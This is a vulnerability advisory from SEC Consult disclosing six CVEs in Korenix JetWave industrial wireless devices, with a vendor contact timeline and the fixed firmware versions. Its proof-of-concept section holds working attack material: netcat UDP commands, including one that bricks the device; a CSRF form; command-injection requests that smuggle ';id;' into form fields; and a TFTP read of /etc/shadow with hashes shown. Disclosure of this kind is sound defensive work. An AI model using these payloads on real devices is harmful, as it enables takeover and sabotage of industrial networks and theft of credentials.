SEC Consult Vulnerability Lab Security Advisory < 20220131-0 > ======================================================================= title: Multiple Critical Vulnerabilities product: Korenix Technology JetWave products: JetWave 2212X, JetWave 2212S, JetWave 2212G, JetWave 2311, JetWave 3220 vulnerable version: See "Vulnerable / tested versions" fixed version: See "Solution" CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504, CVE-2021-39280 impact: Critical homepage: https://www.korenix.com/ found: 2020-04-06 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market- oriented, value-focused Industrial Wired and Wireless Networking Solutions. [...] Our products are mainly applied in SMART industries: Surveillance, Machine-to- Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners." Source: https://www.korenix.com/en/about/index.aspx?kind=3 Business recommendation: ------------------------ The vendor provides an updated firmware which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Device Administration (CVE-2020-12500) Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are sharing a partially similar firmware base for the industrial devices. They can be managed via a Windows client program called "Korenix View" or "Jet View". This program communicates in plaintext via UDP. All messages that are sent to the device are broadcast in the whole subnet and the answers from the devices are sent back via broadcast too. The older version of this management program, called "cmd-server2", can be controlled without a password. Analyzing the newer version, called "jetviewd", indicates that some kind of password can be set. But this is not part of the default configuration. Actions that can be done via this daemon, listening on UDP port 5010, are: * Modifying networking settings (IP, netmask, gateway) * Initiating self tests and blink LEDs on the device * Triggering download and upload of configuration files (via TFTP) * Triggering uploads of new firmware and bootloader files (via TFTP) The device can also be bricked via this daemon so that it is necessary to press the reset button and re-configure the settings. 2) Cross-Site Request Forgery (CSRF) (CVE-2020-12502) The web interface, that is used to set all configurations, is vulnerable to cross-site request forgery attacks. An attacker can change settings via this way by luring the victim to a malicious website. 3) Multiple Authenticated Command Injections (CVE-2020-12503) Multiple command injection vulnerabilities were found on the device series "JetWave". They are partially sharing the same firmware base. Therefore, the payloads to exploit those command injections are similar. Due to the lack of CSRF protection, an attacker can execute arbitrary commands on the device by luring the victim to click on a malicious link. 4) Hidden OS Web-Shell Interface (CVE-2021-39280) The endpoint /syscmd.asp in the web interface of the devices contains an undocumented web-shell that can be used to invoke system-commands as root after authentication. It seems that this is part of the used SDK and a leftover artifact. In combination with the missing CSRF protection, this vulnerability poses a higher risk. 5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504) A TFTP service is present on a broad range of devices for firmware-, bootloader-, and configuration-uploads/downloads. This TFTP server can be abused to read all files from the system as the daemon runs as root which results in a password hash exposure via the file /etc/passwd. Write access is restricted to certain files (configuration, certificates, boot loader, firmware upgrade) though. By uploading malicious Quagga config-files an attacker can modify e.g. IP settings of the device. Malicious firmware and bootloader uploads are possible too. Proof of concept: ----------------- 1) Unauthenticated Device Administration (CVE-2020-12500) All commands can be sent via UDP port 5010. Device discovery (firmware/bootloader version etc. in response): echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010 Blink with leds: echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010 Permanent denial of service. The device is only available after pressing the reset button to load the default config: echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010 Present on: * Korenix JetWave (Multiple devices) 2) Cross-Site Request Forgery (CSRF) (CVE-2020-12502) The following CSRF PoC can be used to ping 127.0.0.1. All other actions in the context of the menu, like uploading config files, can be done in the same way: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/goform/formping" method="POST"> <input type="hidden" name="PingIPAddress" value="127.0.0.1" /> <input type="hidden" name="submit-url" value="/toolping.asp" /> <input type="hidden" name="Submit" value="Ping" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Multiple Authenticated Command Injections (CVE-2020-12503) At least two command injections are present in the default web interface. It is likely that more such vulnerabilities are present on the device. 3.1) Semi-Blind Command Injection The following command injection works on the devices: * Korenix JetWave (Multiple devices) The ping functionality in the web interface can be abused to inject system commands in a semi-blind way. Two requests must be sent to the service to retrieve the output of the command injection. The first request is a POST request to the endpoint /goform/formping: ------------------------------------------------------------------------------- POST /goform/formping HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 57 Connection: close Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 Upgrade-Insecure-Requests: 1 PingIPAddress=;id;&submit-url=%2Ftoolping.asp&Submit=Ping ------------------------------------------------------------------------------- This request triggers the actual command injection in a blind way. The output can be fetched from the system by using the following GET request after triggering the previous POST request: ------------------------------------------------------------------------------- GET //toolping.asp HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- 3.2) Blind Command Injection The following command injection works on the devices: * Korenix JetWave (Multiple devices) The configuration upload via TFTP in the web interface can be abused to inject system commands in a blind way. The request is a POST request to the endpoint /goform/formTFTPLoadSave: ------------------------------------------------------------------------------- POST /goform/formTFTPLoadSave HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 121 Connection: close Cookie: ui_language=en_US; -common-web-session-=::webs.session::f6070212ccae758d7d247fb8e2c52cd7 Upgrade-Insecure-Requests: 1 submit-url=%2Fmgmtsaveconf.asp&ip_address=127.0.0.1;ping 192.168.1.1;&file_name=ap.conf&tftp_action=load&tftp_config=Submit ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface (CVE-2021-39280) The endpoint /syscmd.asp can be accessed after successful login. It can be used to execute system commands directly as root. Present on: * Korenix JetWave 2212X * Korenix JetWave 2212S * Korenix JetWave 2212G * Korenix JetWave 2311 * Korenix JetWave 3220 * Korenix JetWave 3420 5) Arbitrary TFTP Actions (CVE-2020-12504) The Linux TFTP client was used to download files from the system using absolute paths. Uploads were only possible on existing paths like: /home/Quagga.conf /home/bootloader.bin To download the /etc/passwd file from the system, the following command was invoked: [user@localhost ~]$ tftp -m binary <Target-IP> -c get /etc/shadow [user@localhost ~]$ cat shadow root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7::: bin::10933:0:99999:7::: daemon::10933:0:99999:7::: adm::10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody::10933:0:99999:7::: ap71::10933:0:99999:7::: Present on: * Korenix JetWave (Multiple devices) The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Vulnerable / tested versions: ----------------------------- The following firmware versions have been identified to be vulnerable: * Korenix JetWave 2212X / 1.5 * Korenix JetWave 2212S / 1.5 * Korenix JetWave 2212G / 1.4 * Korenix JetWave 3220 / 1.2 * Korenix JetWave 3420 / 1.1.3T * Korenix JetWave 2311 / 1.2 is EOL now Vendor contact timeline: ------------------------ 2020-04-14: Contacting CERT@VDE through info@cert.vde.com and requested support for the disclosure process due to the involvement of multiple vendors. 2020-04-15: Security contact responded, that the products were developed by Korenix Technologies. 2020-04-30: Security contact informed us, that some vulnerabilities were confirmed by the vendor. 2020-07-30: Call with Pepperl+Fuchs contact. Contact stated that the vulnerabilities were reported to Korenix. 2020-09-29: Call with Pepperl+Fuchs and CERT@VDE regarding status. Pepperl+Fuchs stated that they just have a sales contact from Korenix. 2020-10-05: Coordinated release of SA-20201005-0. 2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated that no case regarding vulnerabilities were opened and created one. The product owners of Westermo, Korenix and Beijer Electronics were informed via this inquiry. Set disclosure date to 2020-11-25. 2020-10-06: Restarted the whole responsible disclosure process by sending a request to the new security contact cs@beijerelectronics.com. 2020-10-07: Received an email from a Korenix representative which offered to answer questions about product security. Started responsible disclosure by requesting email certificate or whether plaintext can be used. Referred to the request to cs@beijerelecrtronics.com. No answer. 2020-11-11: Asked the representatives of Korenix and Beijer regarding the status. No answer. 2020-11-25: Phone call with security manager of Beijer. Sent advisories via encrypted archive to cs@beijerelectronics.com. Received confirmation of advisory receipt. Security manager told us that he can provide information regarding the time-line for the patches within the next two weeks. 2020-12-09: Asked for an update. 2020-12-18: Call with security manager of Beijer. Vendor presented initial analysis done by the affected companies. 2021-03-21: Security manager invited SEC Consult to have a status meeting. 2021-03-26: Agreed on an advisory split as other affected products will get patched later. 2021-04-12: Performed advisory split. 2021-05-26: Meeting regarding advisory publication. Agreed to release this advisory in Q4. 2021-06-01: Released related advisory SA-20210601-0. 2021-07-05: Follow-up meeting with vendor regarding next steps. 2021-07-16: Contact from Beijer Electronics reached out to Korenix. Engineers from Korenix are still investigating the issues. JetWave 2311 went EoL, next status update in August. JetPort will be fixed in Q1 2022. 2021-09-15: Asked for status update; 2021-09-20: Korenix will provide a time schedule for the patches by end of next week. 2021-09-28: Meeting regarding the schedule. Fixes will be available by end of the year for Korenix JetWave series. 2021-09-28: Update call with vendor; Fixes will be available in November. 2021-11-18: Contact had difficulties to get a response from Korenix. JetWave 2212G 1.8.0 has been released, other fixes will be released in December. 2021-11-22: Vendor provides all other fixed versions, which have already been put online. 2021-12-17: Performed another advisory split. 2021-12-20: Update call with vendor. Identified another possibly affected device (JetWave 3420). Investigation will be started from Korenix as soon as possible. 2021-12-28: Vendor has rolled out an update for the JetWave 3420 V3 firmware. 2022-01-17: Informed vendor about the advisory release within the next two weeks. 2022-01-19: Call with vendor; agreed that advisory can be published for JetWave series. 2022-01-24: Informed vendor about advisory release on 2022-01-31. 2022-01-31: Coordinated release of advisory. Solution: --------- The following firmware updates are being provided by the vendor: * Korenix JetWave 2212X / 1.9.1 * Korenix JetWave 2212S / 1.9.1 * Korenix JetWave 2212G / 1.8 * Korenix JetWave 3220 V3 / 1.5.1 * Korenix JetWave 3420 V3 / 1.5.1 * Korenix JetWave 2311 / is EOL now The firmware can be downloaded from the vendor's support page: https://www.korenix.com/en/support/index.aspx Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. 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